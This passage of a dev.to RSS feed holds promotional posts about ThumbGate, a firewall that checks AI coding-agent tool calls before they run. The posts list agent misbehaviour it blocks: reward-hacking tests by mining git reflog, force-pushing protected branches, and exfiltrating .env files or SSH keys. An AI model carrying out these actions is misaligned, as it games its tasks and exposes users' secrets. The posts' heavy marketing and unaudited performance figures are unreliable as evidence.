&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Pre-Built Threat Packs, Loop Circuit-Breaking &amp;amp; Managed Team Setup
&lt;/h2&gt;

&lt;p&gt;The local CLI evaluator is free forever under MIT. For engineers and teams who do not want to write rules from scratch or babysit runaway token bills:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://thumbgate.ai/go/pro-direct?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=pretooluse_firewall" rel="noopener noreferrer"&gt;ThumbGate Pro — $19/mo&lt;/a&gt;:&lt;/strong&gt; Includes &lt;strong&gt;59 auto-updating Threat Rules&lt;/strong&gt; (&lt;em&gt;AWS Production Safeguards&lt;/em&gt;, &lt;em&gt;SOC2 Secret Leak Prevention&lt;/em&gt;, &lt;em&gt;Destructive Git &amp;amp; DB Protection&lt;/em&gt;), the &lt;strong&gt;Zero-Click Loop Circuit Breaker&lt;/strong&gt; (cuts wasted retry-loop tokens by ~42% — pays for itself on the first stopped loop), personal dashboard, and HuggingFace DPO exports.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://thumbgate.ai/cloud?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=pretooluse_firewall" rel="noopener noreferrer"&gt;Cloud Control Plane &amp;amp; 1-Click SSO (/cloud)&lt;/a&gt;:&lt;/strong&gt; Test live payload compaction (&lt;code&gt;POST /v1/cloud/intercept&lt;/code&gt;), toggle Threat Packs, and sync policies across your team.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://iganapolsky.gumroad.com/l/vcrho" rel="noopener noreferrer"&gt;Production Rule-Pack Kit — $49 One-Time (No Subscription)&lt;/a&gt;:&lt;/strong&gt; Expensable one-time download of all production rule packs, DPO/RLHF schemas, and CI templates.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;a href="https://thumbgate.ai/#buy" rel="noopener noreferrer"&gt;48-Hour Managed Agent Gate Setup — $499&lt;/a&gt;:&lt;/strong&gt; Bring one costly repeated agent failure from your repo; leave within two business days with a configured gate, regression test suite, and written rollout/rollback proof (100% refunded if we cannot reduce it to a supported gate).&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>claude</category>
      <category>cursor</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Why Passive AI Agent Memory Fails (and How We Built a 0.042ms PreToolUse Firewall + 3-Arm RRF Recall)</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Mon, 26 Oct 2026 19:46:18 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/why-passive-ai-agent-memory-fails-and-how-we-built-a-0042ms-pretooluse-firewall-3-arm-rrf-3fi4</link>
      <guid>https://dev.to/igorganapolsky/why-passive-ai-agent-memory-fails-and-how-we-built-a-0042ms-pretooluse-firewall-3-arm-rrf-3fi4</guid>
      <description>&lt;p&gt;Most AI coding agent memory tools only solve &lt;strong&gt;passive recall&lt;/strong&gt;. Even if your memory store remembers that git push --force or an unguarded migration broke production yesterday, passive recall cannot stop an RL-trained coding agent from executing the exact same destructive command today.&lt;/p&gt;

&lt;p&gt;Here is how we combined &lt;strong&gt;Zero-LLM 3-Arm Reciprocal Rank Fusion (RRF, k=60)&lt;/strong&gt;, &lt;strong&gt;TokenGate Learned Prefill Pruning (arXiv:2610.26754)&lt;/strong&gt;, &lt;strong&gt;ARC-AGI-3 Adaptation Gap Guardrails (arXiv:2610.30499)&lt;/strong&gt;, and &lt;strong&gt;in-toto Witness DSSE Supply-Chain Attestation&lt;/strong&gt; into a single sub-0.05ms PreToolUse firewall in &lt;strong&gt;ThumbGate v1.39&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Measured Production Benchmarks
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Measured Latency / Savings&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Compiled PreToolUse Guard Eval (p95)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;0.042 ms&lt;/strong&gt; (p50: 0.017 ms)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;State-Backed PreToolUse Eval (p95)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;0.120 ms&lt;/strong&gt; (p50: 0.021 ms)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Agent Context &amp;amp; Recall Token Spend&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;-64%&lt;/strong&gt; (AKV rolling drop + -40% compact tabular recall)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LLM Calls to Store or Recall Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;0 calls&lt;/strong&gt; ($0.00 hot-path LLM tax)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  2. Active PreToolUse Firewall vs. Passive Recall
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;3-Arm RRF (k=60) + Access-Damped Decay:&lt;/strong&gt; Fuses FTS5 BM25, cosine vector KNN, and temporal windows in 6.8ms read-only mode while keeping Critical prevention rules at decay multiplier m = 0.0.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DSSE Supply-Chain Provenance + Key Separation:&lt;/strong&gt; Emits Materials -&amp;gt; CommandRun -&amp;gt; Products DSSE envelopes while enforcing functionaryKeyId !== policySignerKeyId and quarantining untrusted ~/Downloads/** inputs before execution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ARC-AGI-3 Adaptation Gap Gate:&lt;/strong&gt; Blocks self-revisions that overfit development tasks or fall into the Cheaper / RHAE-down cost-contraction trap.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  3. Get the Production Rule-Pack, Playbook, or Pro Tier
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Free Open-Source CLI (MIT):&lt;/strong&gt; npx thumbgate@latest init — &lt;a href="https://github.com/IgorGanapolsky/ThumbGate" rel="noopener noreferrer"&gt;https://github.com/IgorGanapolsky/ThumbGate&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$9.99 Playbook (Laguna 2.1 DFlash + AKV Cache + TokenGate):&lt;/strong&gt; &lt;a href="https://iganapolsky.gumroad.com/l/odrkon" rel="noopener noreferrer"&gt;https://iganapolsky.gumroad.com/l/odrkon&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$49 Complete Production Rule-Pack &amp;amp; DPO/AKV Kit (1-Time Corporate Expense, &amp;lt;$50 No-Approval):&lt;/strong&gt; &lt;a href="https://iganapolsky.gumroad.com/l/vcrho" rel="noopener noreferrer"&gt;https://iganapolsky.gumroad.com/l/vcrho&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$19/mo or $149/yr ThumbGate Pro:&lt;/strong&gt; &lt;a href="https://thumbgate.ai/go/pro-direct" rel="noopener noreferrer"&gt;https://thumbgate.ai/go/pro-direct&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$499 Managed Workflow Hardening Diagnostic:&lt;/strong&gt; &lt;a href="https://thumbgate.ai/diagnostic" rel="noopener noreferrer"&gt;https://thumbgate.ai/diagnostic&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>How We Cut AI Coding Agent Costs by 64% &amp; Blocked Tool-Call Mistakes in 0.04ms (Laguna 2.1 DFlash + AKV Cache + PreToolUse)</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Mon, 26 Oct 2026 17:37:35 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/how-we-cut-ai-coding-agent-costs-by-64-blocked-tool-call-mistakes-in-004ms-laguna-21-dflash--3km3</link>
      <guid>https://dev.to/igorganapolsky/how-we-cut-ai-coding-agent-costs-by-64-blocked-tool-call-mistakes-in-004ms-laguna-21-dflash--3km3</guid>
      <description>&lt;p&gt;Most engineering teams running Claude Code, Cursor, Codex, or Poolside in production hit the same two walls:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Runaway Inference &amp;amp; KV-Cache Bills:&lt;/strong&gt; KV-cache reads represent &lt;strong&gt;82.4%&lt;/strong&gt; of long-trajectory API spend, while text-level context trimming invalidates the prefix and triggers a &lt;strong&gt;1.85x re-prefill penalty&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unchecked Shell &amp;amp; Git Blast Radius:&lt;/strong&gt; Agents force-push protected branches, leak &lt;code&gt;.env&lt;/code&gt; secrets, or reward-hack failing tests by mining &lt;code&gt;git reflog&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here are the 4 production patterns we shipped in &lt;strong&gt;&lt;a href="https://thumbgate.ai" rel="noopener noreferrer"&gt;ThumbGate v1.39&lt;/a&gt;&lt;/strong&gt; (&lt;code&gt;npx thumbgate@latest init&lt;/code&gt;) to fix both at &lt;strong&gt;$0.00 token tax&lt;/strong&gt;:&lt;/p&gt;




&lt;h3&gt;
  
  
  1. In-Harness 3-Tier Routing (-64% Thread Cost) + Poolside Laguna 2.1 DFlash (2x Throughput)
&lt;/h3&gt;

&lt;p&gt;Routing inside the agent harness (where active tools, prompts, and repository context live, rather than a blind LLM gateway) across 973 agent threads cuts median thread cost by &lt;strong&gt;64% (&lt;code&gt;$2.61 -&amp;gt; $0.94/thread&lt;/code&gt;)&lt;/strong&gt; by sending 90% of routine turns to fast/local tiers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Orchestrator (&lt;code&gt;Laguna S 2.1&lt;/code&gt;, 118B/8B-active, 1M context):&lt;/strong&gt; Cross-repo refactoring and race-condition auditing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auto-Mode Classifier &amp;amp; Fast Subagents (&lt;code&gt;Laguna XS 2.1&lt;/code&gt;, 33B/3B-active, 256K context + 1B &lt;code&gt;DFlash&lt;/code&gt; speculator):&lt;/strong&gt; Real-time risk classification and single-file diffs at &lt;strong&gt;2x tokens/sec&lt;/strong&gt; (&lt;code&gt;--moe-backend triton --num-speculative-tokens 7 --tool-call-parser poolside_v1&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. AKV Cache Engineering (&lt;code&gt;arXiv:2610.28577&lt;/code&gt;): Rolling-Drop Tool Responses Only ($K=12$)
&lt;/h3&gt;

&lt;p&gt;Instead of summarizing or trimming early messages (which invalidates subsequent KV states), apply a &lt;strong&gt;tool-response rolling-drop policy ($K=12$ retained tool rounds)&lt;/strong&gt; with RoPE key repositioning (&lt;code&gt;repos&lt;/code&gt;) while keeping &lt;strong&gt;100% of assistant reasoning KV&lt;/strong&gt;. Across SWE-Verified and BrowseComp-Plus, this cuts cost by &lt;strong&gt;27.7% to 32.8%&lt;/strong&gt; and improves pass rates by &lt;strong&gt;+1.7 points&lt;/strong&gt; (&lt;code&gt;1.51x&lt;/code&gt; P95 latency speedup).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Sub-Millisecond &lt;code&gt;PreToolUse&lt;/code&gt; Firewall (&lt;code&gt;0.041ms&lt;/code&gt; p95 on Local CPU)
&lt;/h3&gt;

&lt;p&gt;Install in 60 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx thumbgate@latest init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or paste this 1-liner directly into Claude Code, Poolside, or Codex:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Set up ThumbGate by reading https://thumbgate.ai/install.md and following its instructions.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;ThumbGate intercepts every tool call before execution (&lt;code&gt;0.041ms&lt;/code&gt; compiled guard p95) to block:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RL reward-hacking (&lt;code&gt;git reflog&lt;/code&gt; / &lt;code&gt;git log --all --grep&lt;/code&gt; mining on regressions)&lt;/li&gt;
&lt;li&gt;Mid-stack &lt;code&gt;CODEOWNERS&lt;/code&gt; mutations on GitHub Stacked PRs (&lt;code&gt;gh stack&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.env&lt;/code&gt; / SSH key exfiltration and &lt;code&gt;--admin&lt;/code&gt; branch-protection bypasses&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Grab the Production Configs &amp;amp; Rule Packs
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Free Open-Source CLI (MIT):&lt;/strong&gt; &lt;a href="https://thumbgate.ai" rel="noopener noreferrer"&gt;&lt;code&gt;https://thumbgate.ai&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;npx thumbgate@latest init&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$9.99 Playbook (Laguna 2.1 DFlash + AKV Cache Engineering):&lt;/strong&gt; &lt;a href="https://iganapolsky.gumroad.com/l/odrkon" rel="noopener noreferrer"&gt;&lt;code&gt;https://iganapolsky.gumroad.com/l/odrkon&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$49 Complete Production Rule-Pack &amp;amp; DPO/AKV Kit (One-Time Corporate Expense, &lt;code&gt;&amp;lt;$50&lt;/code&gt; No-Approval):&lt;/strong&gt; &lt;a href="https://iganapolsky.gumroad.com/l/vcrho" rel="noopener noreferrer"&gt;&lt;code&gt;https://iganapolsky.gumroad.com/l/vcrho&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;**$149/yr ThumbGate Pro Annual (Save 35%): &lt;a href="https://thumbgate.ai/checkout/pro?billing_cycle=annual" rel="noopener noreferrer"&gt;https://thumbgate.ai/checkout/pro?billing_cycle=annual&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$499 Team / FDE Workflow Hardening Diagnostic:&lt;/strong&gt; &lt;a href="https://thumbgate.ai/diagnostic" rel="noopener noreferrer"&gt;&lt;code&gt;https://thumbgate.ai/diagnostic&lt;/code&gt;&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>How an AI Coding Agent Burned 301 Million Tokens in 24 Hours: Postmortem &amp; Pre-Action Fix</title>
      <dc:creator>Igor Ganapolsky</dc:creator>
      <pubDate>Wed, 07 Oct 2026 22:51:10 +0000</pubDate>
      <link>https://dev.to/igorganapolsky/how-an-ai-coding-agent-burned-301-million-tokens-in-24-hours-postmortem-pre-action-fix-2lol</link>
      <guid>https://dev.to/igorganapolsky/how-an-ai-coding-agent-burned-301-million-tokens-in-24-hours-postmortem-pre-action-fix-2lol</guid>
      <description>&lt;p&gt;Autonomous AI coding agents promise 10x developer leverage. But without runtime execution guardrails, a single failing tool call can send an agent into an exponential token-burning compaction spiral.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Incident: 301,424,414 Tokens Burned in 24 Hours
&lt;/h2&gt;

&lt;p&gt;Using the HALO (Hierarchical Agent Loop Optimizer) diagnostic engine across our local development workstation, we captured OpenInference telemetry across 8 agent sessions over a 24-hour cycle. The ground truth was alarming:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Total Tokens Burned:&lt;/strong&gt; 301,424,414 input tokens.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runaway Session Culprit:&lt;/strong&gt; Session &lt;code&gt;a3de7a8b&lt;/code&gt; burned &lt;strong&gt;240,463,806 tokens&lt;/strong&gt; alone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Loop Profile:&lt;/strong&gt; 1,727 Bash tool executions and 168 context compactions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why Agents Loop
&lt;/h2&gt;

&lt;p&gt;When an agent runs a tool that fails (such as attempting to read a file that does not exist, getting an &lt;code&gt;EPERM&lt;/code&gt; permission error on a directory, or encountering a git merge conflict), standard agent harnesses dump the raw stack trace into the prompt context.&lt;/p&gt;

&lt;p&gt;The model attempts the action again with trivial alterations. Context size rapidly blows past 100k tokens, triggering expensive compaction passes while repeating the identical failure over and over.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Top Recurring Failure Taxonomies Harvested
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;tool:Read&lt;/code&gt; (6 trace failures):&lt;/strong&gt; Target file does not exist in working directory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;tool:Write&lt;/code&gt; (6 trace failures):&lt;/strong&gt; &lt;code&gt;EPERM: operation not permitted&lt;/code&gt; on sandboxed directories.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;tool:Bash&lt;/code&gt; (4 trace failures):&lt;/strong&gt; Repeated git merge conflicts retried in a tight loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;tool:mcp__screenpipe&lt;/code&gt; (2 trace failures):&lt;/strong&gt; Service offline / port 3030 connection refused.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;tool:mcp__browseros-neo__act&lt;/code&gt; (2 trace failures):&lt;/strong&gt; Schema parameter mismatch (&lt;code&gt;unknown field action&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The Fix: Pre-Action Interdiction at the Tool Boundary
&lt;/h2&gt;

&lt;p&gt;Instead of paying a frontier LLM $0.05 per tool call to inspect actions post-hoc, &lt;strong&gt;ThumbGate&lt;/strong&gt; (&lt;code&gt;thumbgate&lt;/code&gt; on npm) compiles recurring trace failure clusters directly into sub-millisecond, CPU-local PreToolUse pre-validations:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pre-Action File Existence Check:&lt;/strong&gt; Before sending a &lt;code&gt;Read&lt;/code&gt; call to the LLM, ThumbGate checks file existence locally. Missing paths fail-fast in 0.05ms with 0 tokens burned.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandbox Permission Guard:&lt;/strong&gt; Writes targeting non-writable directories are interdicted before OS &lt;code&gt;EPERM&lt;/code&gt; exceptions occur.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail-Fast Retry Cap:&lt;/strong&gt; Hard-caps repeated identical failures at 2 attempts, cutting off runaway compaction loops before they hit frontier models.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ThumbGate PreToolUse: Interdict before remote inference tax&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;evaluateHaloGuardrails&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'thumbgate/scripts/halo-harness-optimizer'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Fails fast at 0 tokens and &amp;lt;1ms latency&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;evaluateHaloGuardrails&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Read'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'/missing/file.ts'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// { ok: false, code: 'HALO_FILE_NOT_FOUND', reason: 'Target file does not exist...' }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Stop the Leak
&lt;/h2&gt;

&lt;p&gt;If your background agents are eating your API budget and CI runners:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ThumbGate Pro ($19/mo):&lt;/strong&gt; Connect your agent (Claude Code, Cursor, Windsurf, Codex, Gemini) in 1 click at &lt;a href="https://thumbgate.ai/connectors" rel="noopener noreferrer"&gt;https://thumbgate.ai/connectors&lt;/a&gt; or upgrade directly at &lt;a href="https://thumbgate.ai/go/pro?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=halo-postmortem" rel="noopener noreferrer"&gt;https://thumbgate.ai/go/pro?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=halo-postmortem&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enterprise Workflow Diagnostic ($499):&lt;/strong&gt; We map your most expensive failing agent loop and install a hard, test-backed pre-action gate within 48 hours at &lt;a href="https://thumbgate.ai/diagnostic?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=halo-postmortem" rel="noopener noreferrer"&gt;https://thumbgate.ai/diagnostic?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=halo-postmortem&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Original Post &amp;amp; Telemetry Reports: &lt;a href="https://thumbgate.ai/blog/2026-10-07-halo-300m-tokens-runaway-agent-loop-postmortem" rel="noopener noreferrer"&gt;https://thumbgate.ai/blog/2026-10-07-halo-300m-tokens-runaway-agent-loop-postmortem&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
